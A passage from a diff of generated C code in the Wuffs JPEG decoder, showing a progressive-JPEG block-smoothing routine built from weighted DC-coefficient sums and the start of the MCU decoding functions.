wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][24u] = ((uint16_t)(v_scratch)); ++ } ++ } else { ++ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u]; ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); ++ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { ++ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } else { ++ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } ++ self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); ++ } ++ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u]; ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); ++ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { ++ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } else { ++ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } ++ self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); ++ } ++ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u]; ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); ++ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { ++ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } else { ++ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } ++ self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); ++ } ++ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u]; ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); ++ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { ++ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } else { ++ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } ++ self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); ++ } ++ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u]; ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); ++ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { ++ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } else { ++ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); ++ } ++ self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); ++ } ++ } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.decode_mcu ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ return (*self->private_impl.choosy_decode_mcu)(self, a_dst, a_workbuf, a_mx, a_my); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu__choosy_default( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ uint32_t v_ret = 0; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint8_t v_csel = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint32_t v_pos = 0; ++ uint8_t v_dc_h = 0; ++ uint32_t v_dc_symbol = 0; ++ uint32_t v_dc_ht_fast = 0; ++ uint32_t v_dc_bl = 0; ++ uint32_t v_dc_code = 0; ++ uint32_t v_dc_blm1 = 0; ++ uint32_t v_dc_ht_slow = 0; ++ uint16_t v_dc_value = 0; ++ uint16_t v_dc_extend = 0; ++ const uint16_t* v_ac_huff_table_fast = NULL; ++ uint8_t v_ac_h = 0; ++ uint32_t v_ac_symbol = 0; ++ uint32_t v_ac_ht_fast = 0; ++ uint32_t v_ac_bl = 0; ++ uint32_t v_ac_code = 0; ++ uint32_t v_ac_blm1 = 0; ++ uint32_t v_ac_ht_slow = 0; ++ uint16_t v_ac_value = 0; ++ uint16_t v_ac_extend = 0; ++ uint32_t v_ac_rrrr = 0; ++ uint32_t v_ac_ssss = 0; ++ uint32_t v_z = 0; ++ uint32_t v_mcb = 0; ++ uint64_t v_stride = 0; ++ uint64_t v_offset = 